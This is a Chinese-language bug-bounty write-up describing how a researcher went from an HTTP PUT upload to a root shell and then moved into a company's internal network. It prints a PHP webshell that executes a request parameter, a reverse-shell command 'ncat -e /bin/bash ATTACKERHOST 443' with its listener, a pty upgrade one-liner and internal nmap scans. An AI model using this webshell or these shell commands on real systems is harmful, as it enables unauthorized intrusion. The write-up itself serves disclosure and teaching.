简介

此前我曾发表过一篇ltr101的文章,这是我该系列的第二篇。本文我将为大家展示最近我在赏金计划中,发现的一个非常cool的漏洞。以及我是如何通过一个废弃的Web服务器实现远程执行代码的,并最终成功渗透目标内网获取到有价值信息的。

你的子域名叫什么?

这一切都是从信息侦察开始的查找子域,解析为IP然后查看端口。不过这一次,我发现了一个较为奇怪的主机名,并有一个应用程序正运行在64351端口上。这并不是我们平时常见的web端口,需要我们进行权全端口的扫描才能发现。该域名类似于以下(出于保密原因,其中省略了该公司信息):

fast.force.staging.intcorp.yoda.domain.com

对于这个域名我的脑海中蹦出了以下猜测:

  • 1)这是除admin,vpn,email等以外的唯一一个域
  • 2)故意提到intcorp引起我的兴趣
  • 3)这不是子域的平均长度
  • 4) fast force staging intcorp yoda可能都是随机产生的!

根据我的想法,我解析了该域名并成功获取到了一个IP,但通过浏览器打开发现没有返回任何信息,我决定利用nmap来对它进行端口扫描:

nmap -sTV -p- -Pn --max-retries 3 fast.force.staging.intcorp.yoda.domain.com --version-all -oA UsethePowa

不一会儿扫描结果就出来了如下:

Starting Nmap 7.50 ( https://nmap.org ) at 2017-06-29 22:47 BST  Nmap scan report for fast.force.staging.intcorp.yoda.domain.com (x.x.x.x) Host is up (0.082s latency).  
Not shown: 979 filtered ports  
PORT     STATE  SERVICE         VERSION  
22/tcp   closed ssh  
25/tcp   closed smtp?  
80/tcp   closed http  
81/tcp   closed hosts2-ns  
90/tcp    open http?  
64351/tcp open http  
2 services unrecognised despite returning data.

最初我在端口为64351的应用程序web根目录中发现了一些奇怪的文件,并且每个文件都包含了不同名称的phpinfo文件。

想要将自定义的文件上传到该目录,通常我们会利用文件上传等功能。但在这里我没有找到任何像远程文件上传的地方,因此我只能老套的针对学校攻击的HTTP方法。

HTTP 动词/方法

无论是HTTP动词/方法,本质上它们都是在向服务器或应用程序发出请求。最常见的两个用于下载和上传数据到应用程序的请求方法是GET和POST。这里我将向端口为64351的服务器发送一个OPTIONS请求,以获取服务器支持的HTTP请求方法。

从响应结果来看该应用程序接受GET,POST,HEAD以及PUT方法。前三个都很普通,但PUT请求相对较少。

PUT

我设法利用PUT方法将文件写入到webroot下名为test的文件夹中,这样我就可以将编写的任意文件上传至服务器根目录下,同时我猜测之前发现的phpinfo文件应该也是利用PUT方法被上传的。我快速浏览了我的webshell再次找到了phpinfo文件:

我是如何通过命令执行到最终获取内网root权限的

所以通过PUT方法,我上传了一个简单的PHP webshell,其代码如下:

<?php if(isset($_REQUEST['cmd'])){  
    $cmd = ($_REQUEST["cmd"]);
    system($cmd); echo "</pre>$cmd<pre>"; die;
} ?>

这段代码首先从cmd参数接收输入命令,然后以系统命令执行。PUT请求成功,并且我们也成功获取到了一个shell如下所示:

我是如何通过命令执行到最终获取内网root权限的

为了获取到更多的信息,我尝试将webshell转换为netcat的反向shell。很幸运!这个服务器似乎都具备了netcat ncat的访问。

使用以下命令我连接到了服务器侦听端,这里我花了很长时间来确定连接端口,最终确定为443,因为服务器允许访问该端口。

webshell命令:

ncat -e /bin/bash ATTACKERHOST 443

服务器侦听端命令:

ncat -l -v -p 443

我是如何通过命令执行到最终获取内网root权限的

接着通过python one-liner我获得了一个交互式的bash shell:

python -c 'import pty; pty.spawn("/bin/bash")' 

我是如何通过命令执行到最终获取内网root权限的

深入挖掘

既然已经获取到了一个交互式的shell,接下来我决定围绕操作系统进一步的探索。很快,我在/tmp/CorpNet目录下发现了一个引起我注意的文件夹,该文件夹下包含了以下三个其它文件夹:

  • CorpVPNKeys
  • CorpZT
  • CitrixCorp

在这些文件夹中我挖掘到了一些非常有用的文件,其中包括一个包含整个域的内部区域传输的文件。

查找其他主机

通过区域传输文件中的信息,我发现内部主机名与我已经发现的原始主机名类似,如下:

  • staging.intcorp.jawa.domain.com 10.0.1.1
  • staging.internal.sith.domain.com 10.0.1.3
  • internal.vader.domain.com 10.2.1.13

看起来这个网络的系统管理员是一个星球大战的粉丝!有许多其他主机共享了星战命名方案。因为主机可以访问ncat和nmap,因此我决定在这个阶段做一些端口扫描。我尝试对10.0.1.0/24这个网段进行了扫描,以发现其它有趣的主机。

一个快速的nmap -F 10.0.1.0/24扫描,从最终返回的结果我发现了一些非常有趣的端口。其中包括一台应该是windows机器开启的远程桌面连接端口:3389,445,135,137,1433,2433。对于一个内部网络,RDP和SMB的开放并不鲜见。

原本我想通过nmap脚本来继续探索更多的信息,但是由于当前服务器上的nmap版本并不支持nmap脚本,因此出现了 :-( 错误。

到此阶段我决定发邮件提醒该公司我发现的问题,并询问我是否可以继续挖掘,我收到了一个非常快速简明的回复:

“感谢您提醒我们,你能深入到什么程度,我们确信我们的内部网络是安全的。”

既然都这么说了,那么我就接受挑战!

接受挑战

由于我并没有获取到任何用户的哈希值或密码,因此接下来我将尝试是否可以目录遍历。我使用cat命令查看了passwd文件,其中的一个名为emperor的用户以及他的UID引起了我的注意:

emperor:x:0:1002:SPalpatine:/home/emperor:/bin/bash

从星球大战的主机名判断,该用户名似乎也是引用了星战的名称,且UID似乎为root用户。

我是如何通过命令执行到最终获取内网root权限的

我是如何通过命令执行到最终获取内网root权限的

不敢相信我的运气! 因为内部网络中还有其他几台主机,我猜想它们可能使用了相同的凭证登录,打开SSH,尝试使用emperor账户连接它们。

额外奖金

在经过登录凭证的尝试,我成功连接到了internal.vader.domain.com主机, 并且emperor在这个主机上也是root权限。

这使我能够从这个主机上转储哈希值并对其进行破解,另外我发现根私钥被用作在原始主机发现的VPN证书的主密钥。在这个阶段,我再次向该公司写了一份测试报告,其中包括了以下几个问题:

  • 危险的HTTP方法导致远程执行代码
  • 敏感文件被存储在文件系统并且所有用户可读
  • root用户密码在/etc/passwd下直接曝露
  • /etc/shadow下的密码加密采用的是弱哈希算法

小结

从单一的层面看,起初这只是一个目录权限和身份验证的问题,但这使我成功上传了webshell。虽然刚开始的权限并不大,但通过进一步的深入挖掘和利用,我们逐渐将战果扩大到了内网并最终获取到了root权限。可见一个小小的失误,都将给公司企业带来重大的安全问题。作为系统管理员应该避免将密码设置与主机名或用户相关,否则这将是非常危险的。目前该公司已经修复了该问题,并向我表达了感谢!

*参考来源:zsec,FB小编 secist 编译